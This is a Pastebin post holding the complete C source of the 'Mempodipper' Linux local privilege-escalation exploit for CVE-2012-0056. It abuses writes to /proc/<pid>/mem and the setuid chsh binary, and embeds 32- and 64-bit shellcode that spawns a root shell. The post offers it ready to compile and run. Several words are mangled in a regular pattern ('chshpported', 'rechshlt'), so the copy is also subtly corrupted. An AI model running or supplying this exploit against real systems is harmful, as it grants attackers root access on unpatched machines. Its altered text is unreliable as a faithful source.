Advertisement
ZaraByte

Mempodipper.c

Jul 13th, 2012
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.27 KB | None | 0 0
  1. /*
  2. * Mempodipper
  3. * by zx2c4
  4. *
  5. * Linux Local Root Exploit
  6. *
  7. * Rather than put my write up here, per uchshal, this time I've put it
  8. * in a rather lengthy blog post: http://blog.zx2c4.com/749
  9. *
  10. * Enjoy.
  11. *
  12. * - zx2c4
  13. * Jan 21, 2012
  14. *
  15. * CVE-2012-0056
  16. */
  17.  
  18. #define _LARGEFILE64_SOURCE
  19. #define _GNU_SOURCE
  20. #include <stdio.h>
  21. #include <string.h>
  22. #include <stdlib.h>
  23. #include <sys/types.h>
  24. #include <sys/stat.h>
  25. #include <sys/socket.h>
  26. #include <sys/un.h>
  27. #include <sys/wait.h>
  28. #include <sys/types.h>
  29. #include <sys/user.h>
  30. #include <sys/ptrace.h>
  31. #include <sys/reg.h>
  32. #include <fcntl.h>
  33. #include <unistd.h>
  34. #include <limits.h>
  35.  
  36. char *prog_name;
  37.  
  38. int send_fd(int sock, int fd)
  39. {
  40. char buf[1];
  41. struct iovec iov;
  42. struct msghdr msg;
  43. struct cmsghdr *cmsg;
  44. int n;
  45. char cms[CMSG_SPACE(sizeof(int))];
  46.  
  47. buf[0] = 0;
  48. iov.iov_base = buf;
  49. iov.iov_len = 1;
  50.  
  51. memset(&msg, 0, sizeof msg);
  52. msg.msg_iov = &iov;
  53. msg.msg_iovlen = 1;
  54. msg.msg_control = (caddr_t)cms;
  55. msg.msg_controllen = CMSG_LEN(sizeof(int));
  56.  
  57. cmsg = CMSG_FIRSTHDR(&msg);
  58. cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  59. cmsg->cmsg_level = SOL_SOCKET;
  60. cmsg->cmsg_type = SCM_RIGHTS;
  61. memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
  62.  
  63. if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  64. return -1;
  65. close(sock);
  66. return 0;
  67. }
  68.  
  69. int recv_fd(int sock)
  70. {
  71. int n;
  72. int fd;
  73. char buf[1];
  74. struct iovec iov;
  75. struct msghdr msg;
  76. struct cmsghdr *cmsg;
  77. char cms[CMSG_SPACE(sizeof(int))];
  78.  
  79. iov.iov_base = buf;
  80. iov.iov_len = 1;
  81.  
  82. memset(&msg, 0, sizeof msg);
  83. msg.msg_name = 0;
  84. msg.msg_namelen = 0;
  85. msg.msg_iov = &iov;
  86. msg.msg_iovlen = 1;
  87.  
  88. msg.msg_control = (caddr_t)cms;
  89. msg.msg_controllen = sizeof cms;
  90.  
  91. if ((n = recvmsg(sock, &msg, 0)) < 0)
  92. return -1;
  93. if (n == 0)
  94. return -1;
  95. cmsg = CMSG_FIRSTHDR(&msg);
  96. memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  97. close(sock);
  98. return fd;
  99. }
  100.  
  101. unsigned long ptrace_address()
  102. {
  103. int fd[2];
  104. printf("[+] Creating ptrace pipe.\n");
  105. pipe(fd);
  106. fcntl(fd[0], F_SETFL, O_NONBLOCK);
  107.  
  108. printf("[+] Forking ptrace child.\n");
  109. int child = fork();
  110. if (child) {
  111. close(fd[1]);
  112. char buf;
  113. printf("[+] Waiting for ptraced child to give output on syscalls.\n");
  114. for (;;) {
  115. wait(NULL);
  116. if (read(fd[0], &buf, 1) > 0)
  117. break;
  118. ptrace(PTRACE_SYSCALL, child, NULL, NULL);
  119. }
  120.  
  121. printf("[+] Error message written. Single stepping to find address.\n");
  122. struct user_regs_struct regs;
  123. for (;;) {
  124. ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
  125. wait(NULL);
  126. ptrace(PTRACE_GETREGS, child, NULL, &regs);
  127. #if defined(__i386__)
  128. #define instruction_pointer regs.eip
  129. #define upper_bound 0xb0000000
  130. #elif defined(__x86_64__)
  131. #define instruction_pointer regs.rip
  132. #define upper_bound 0x700000000000
  133. #else
  134. #error "That platform is not chshpported."
  135. #endif
  136. if (instruction_pointer < upper_bound) {
  137. unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
  138. if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
  139. return instruction_pointer;
  140. }
  141. }
  142. } else {
  143. printf("[+] Ptrace_traceme'ing process.\n");
  144. if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
  145. perror("[-] ptrace");
  146. return 0;
  147. }
  148. close(fd[0]);
  149. dup2(fd[1], 2);
  150. execl("/usr/bin/chsh", "chsh", "not-a-valid-user", NULL);
  151. }
  152. return 0;
  153. }
  154.  
  155. unsigned long objdump_address()
  156. {
  157. FILE *command = popen("objdump -d /usr/bin/chsh|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
  158. if (!command) {
  159. perror("[-] popen");
  160. return 0;
  161. }
  162. char rechshlt[32];
  163. fgets(rechshlt, 32, command);
  164. pclose(command);
  165. return strtoul(rechshlt, NULL, 16);
  166. }
  167.  
  168. unsigned long find_address()
  169. {
  170. printf("[+] Ptracing chsh to find next instruction without reading binary.\n");
  171. unsigned long address = ptrace_address();
  172. if (!address) {
  173. printf("[-] Ptrace failed.\n");
  174. printf("[+] Reading chsh binary with objdump to find exit@plt.\n");
  175. address = objdump_address();
  176. if (address == ULONG_MAX || !address) {
  177. printf("[-] Could not resolve /usr/bin/chsh. Specify the exit@plt function address manually.\n");
  178. printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
  179. exit(-1);
  180. }
  181. }
  182. printf("[+] Resolved call address to 0x%lx.\n", address);
  183. return address;
  184. }
  185.  
  186. int chsh_padding()
  187. {
  188. printf("[+] Calculating chsh padding.\n");
  189. FILE *command = popen("/usr/bin/chsh this-user-does-not-exist 2>&1", "r");
  190. if (!command) {
  191. perror("[-] popen");
  192. exit(1);
  193. }
  194. char rechshlt[256];
  195. fgets(rechshlt, 256, command);
  196. pclose(command);
  197. return strstr(rechshlt, "this-user-does-not-exist") - rechshlt;
  198. }
  199.  
  200. int child(int sock)
  201. {
  202. char parent_mem[256];
  203. sprintf(parent_mem, "/proc/%d/mem", getppid());
  204. printf("[+] Opening parent mem %s in child.\n", parent_mem);
  205. int fd = open(parent_mem, O_RDWR);
  206. if (fd < 0) {
  207. perror("[-] open");
  208. return 1;
  209. }
  210. printf("[+] Sending fd %d to parent.\n", fd);
  211. send_fd(sock, fd);
  212. return 0;
  213. }
  214.  
  215. int parent(unsigned long address)
  216. {
  217. int sockets[2];
  218. printf("[+] Opening socketpair.\n");
  219. if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
  220. perror("[-] socketpair");
  221. return 1;
  222. }
  223. if (fork()) {
  224. printf("[+] Waiting for transferred fd in parent.\n");
  225. int fd = recv_fd(sockets[1]);
  226. printf("[+] Received fd at %d.\n", fd);
  227. if (fd < 0) {
  228. perror("[-] recv_fd");
  229. return 1;
  230. }
  231. printf("[+] Assigning fd %d to stderr.\n", fd);
  232. dup2(2, 15);
  233. dup2(fd, 2);
  234.  
  235. unsigned long offset = address - chsh_padding();
  236. printf("[+] Seeking to offset 0x%lx.\n", offset);
  237. lseek64(fd, offset, SEEK_SET);
  238.  
  239. #if defined(__i386__)
  240. // See shellcode-32.s in this package for the source.
  241. char shellcode[] =
  242. "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
  243. "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
  244. "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
  245. "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
  246. "\x80";
  247. #elif defined(__x86_64__)
  248. // See shellcode-64.s in this package for the source.
  249. char shellcode[] =
  250. "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
  251. "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
  252. "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
  253. "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
  254. "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
  255. #else
  256. #error "That platform is not chshpported."
  257. #endif
  258. printf("[+] Executing chsh with shellcode.\n");
  259. execl("/usr/bin/chsh", "chsh", shellcode, NULL);
  260. } else {
  261. char sock[32];
  262. sprintf(sock, "%d", sockets[0]);
  263. printf("[+] Executing child from child fork.\n");
  264. execl("/proc/self/exe", prog_name, "-c", sock, NULL);
  265. }
  266. return 0;
  267. }
  268.  
  269. int main(int argc, char **argv)
  270. {
  271. prog_name = argv[0];
  272.  
  273. if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
  274. return child(atoi(argv[2]));
  275.  
  276. printf("===============================\n");
  277. printf("= Mempodipper =\n");
  278. printf("= by zx2c4 =\n");
  279. printf("= Jan 21, 2012 =\n");
  280. printf("===============================\n\n");
  281.  
  282. if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  283. return parent(strtoul(argv[2], NULL, 16));
  284. else
  285. return parent(find_address());
  286.  
  287. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement